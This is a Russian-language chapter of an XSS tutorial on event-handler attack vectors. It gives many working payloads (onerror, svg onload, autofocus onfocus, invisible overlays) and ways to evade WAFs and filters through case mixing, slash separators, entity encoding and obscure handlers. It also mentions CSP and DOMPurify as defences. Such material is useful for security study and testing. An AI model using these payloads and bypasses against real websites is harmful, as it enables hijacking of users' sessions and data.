Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • Event handlers: onerror , onload , onmouseover — твои лучшие друзья

Если тег <script> — это прямой удар в челюсть, то event handlers — это удар ножом в спину в тёмном переулке. Тихий, незаметный и смертельно эффективный. Когда WAF блокирует слово script , когда CSP запрещает инлайн-скрипты (иногда криво настроенный), когда фильтры вырезают < и > — именно обработчики событий (event handlers) становятся твоим главным оружием.

Почему они крутые? Потому что они легальны. HTML построен на событиях. Браузер обязан реагировать на действия пользователя и состояние элементов. Мы просто заставляем его реагировать так, как нам нужно.

Анатомия атаки через события

Суть проста: мы внедряем HTML-атрибут, который содержит JavaScript-код. Этот код выполняется, когда происходит определённое событие.

<tag onEvent="javascript_code">

Самое вкусное здесь то, что нам часто даже не нужно создавать новый тег. Мы можем паразитировать на существующих тегах, если у нас есть инъекция в атрибут.

onerror : Король автоматических триггеров

onerror — это святой грааль XSS. Почему? Потому что он срабатывает автоматически и без участия пользователя. Нам не нужно ждать, пока жертва кликнет или наведёт мышь.

Классический payload:

<img src=x onerror=alert(1)>

Разбор:

1. Мы создаём тег <img> .

2. Указываем src=x . Естественно, картинки с адресом “x” не существует.

3. Браузер пытается загрузить картинку, обламывается и генерирует событие error .

4. Срабатывает обработчик onerror , который выполняет наш alert(1) .

Это происходит мгновенно при загрузке страницы. Пользователь даже моргнуть не успеет.

Где работает:

• <img> — классика.

• <video> , <audio> — если указать битый источник.

• <source> — внутри медиа-тегов.

• <input type="image"> — редкий, но рабочий зверь.

• <script> — да, у скриптов тоже есть onerror, если внешний файл не загрузился! Но инъекция в скрипт обычно блокируется.

Продвинутая техника:

Иногда фильтры блокируют тег img . Не беда.

<video src=x onerror=alert(1)></video>
<audio src=x onerror=alert(1)></audio>

onload и onfocus : Загрузил — выполнил

onload работает по тому же принципу, что и onerror , но срабатывает при успешной загрузке.

SVG — скрытый убийца:

<svg/onload=alert(1)>

Этот payload прекрасен тем, что он очень короткий и часто проходит мимо фильтров, которые ищут img или script . SVG загружается, событие load срабатывает, профит.

Body onload:

<body onload=alert(1)>

Если у тебя есть возможность редактировать тег &lt;body&gt; (редко, но бывает в CMS), это гарантированное выполнение при загрузке страницы.

Autofocus + onfocus:

Это гениальная комбинация, которая заставляет элемент сработать сразу после рендеринга, без действий пользователя.

<input onfocus=alert(1) autofocus>

Атрибут autofocus заставляет браузер сразу перевести фокус на этот инпут. Событие focus срабатывает. JS выполняется. Работает безотказно в современных браузерах.

onmouseover , onclick и другие: Социальная инженерия в действии

Эти векторы требуют взаимодействия с пользователем. Но если ты умеешь делать свои ловушки привлекательными, они сработают.

Onmouseover (наведение мыши):

<a href="#" onmouseover=alert(1)>Наведи на меня!</a>

Можно сделать прозрачный слой на весь экран, и любое движение мыши вызовет срабатывание.

<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover=alert(1)></div>

Пользователь даже не поймёт, что произошло.

Onclick:

<button onclick=alert(1)>Получить приз</button>

Требует клика. Классика фишинга.

Onscroll:

<body onscroll=alert(1)>
<div style="height:10000px"></div>

Стоит пользователю прокрутить страницу (а он прокрутит), как код выполнится.

Обход фильтров с помощью Event Handlers

Event handlers дают нам огромную гибкость в обходе WAF.

  1. “Мусор” между атрибутами

Фильтры часто ищут пробел перед on... . Но HTML позволяет использовать слэш / вместо пробела.

<img src=x/onerror=alert(1)>

Для многих регулярных выражений это уже не атрибут, а часть src . А для браузера — валидный код.

  1. Случайный регистр (Case Sensitivity)

HTML нечувствителен к регистру атрибутов.

<img src=x oNeRrOr=alert(1)>

WAF ищет onerror , а видит oNeRrOr и пропускает. Браузеру всё равно.

  1. Кодирование внутри атрибута

Внутри значения атрибута можно использовать HTML-сущности. Это мощнейшая техника обхода фильтров, которые ищут конкретные символы (например, скобки () ).

Задача: Выполнить alert(1) , но фильтр режет ( .

Решение:

<img src=x onerror="alert&#40;1&#41;">

&amp;#40; — это ( , &amp;#41; — это ) . Браузер декодирует сущности перед выполнением JS. Фильтр видит набор цифр, браузер видит скобки. Шах и мат.

Можно закодировать вообще всё:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

Это alert(1) .

  1. Избегаем кавычек

Если фильтр режет кавычки, HTML позволяет писать атрибуты без них (если в значении нет пробелов).

<img src=x onerror=alert(1)>

Или даже так:

<img/src=x/onerror=confirm(1)>
  1. Использование confirm и prompt

Фильтры часто банят слово alert . Используй аналоги:

• prompt(1) — выводит окно с полем ввода.

• confirm(1) — выводит окно с кнопками OK/Cancel.

• print() — вызывает диалог печати.

Для PoC (Proof of Concept) этого достаточно. А для реальной атаки ты всё равно будешь использовать eval , fetch или подгрузку внешнего скрипта.

Топ неочевидных Event Handlers

Кроме попсы типа onerror , есть экзотика, которую часто забывают добавить в черные списки.

1. ontoggle (для тега <details> ):

<details ontoggle=alert(1)>Click me</details>
  1. Срабатывает при открытии/закрытии спойлера.

2. onanimationstart :

<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart=alert(1)></div>
  1. Требует CSS, но срабатывает автоматически.

3. onpointerover : Современный аналог onmouseover , о котором часто забывают WAF’ы.

4. onbeforeinput : Срабатывает перед вводом текста в поле.

5. ondrag / ondrop : Можно заставить пользователя перетащить что-то и получить XSS.

Когда Event Handlers не работают

1. Контекст скрипта: Если ты внутри <script> , атрибуты не работают. Там нужен JS-синтаксис.

2. Строгий CSP: Если Content Security Policy запрещает unsafe-inline , то инлайн-обработчики ( onclick="..." ) будут заблокированы. Это их главный враг. Но даже CSP иногда можно обойти (об этом в главе 11).

3. Санитизация (Sanitization): Библиотеки типа DOMPurify вырезают все опасные атрибуты (начинающиеся на on ). Это лучшая защита.

Заключение

Event handlers — это швейцарский нож XSS-атаки. Они гибки, разнообразны и позволяют обходить множество примитивных фильтров. Твоя задача — знать их наизусть, понимать, когда и как они срабатывают, и уметь комбинировать их с техниками обфускации.

Не зацикливайся на onerror . Исследуй спецификации HTML, ищи новые события. Браузеры постоянно добавляют новые фичи, а значит — новые векторы атаки. Будь исследователем. И помни: любой атрибут, начинающийся на on , — это потенциальная дыра в безопасности. Твоя задача — найти ту, которую забыли закрыть.

61 views·3 shares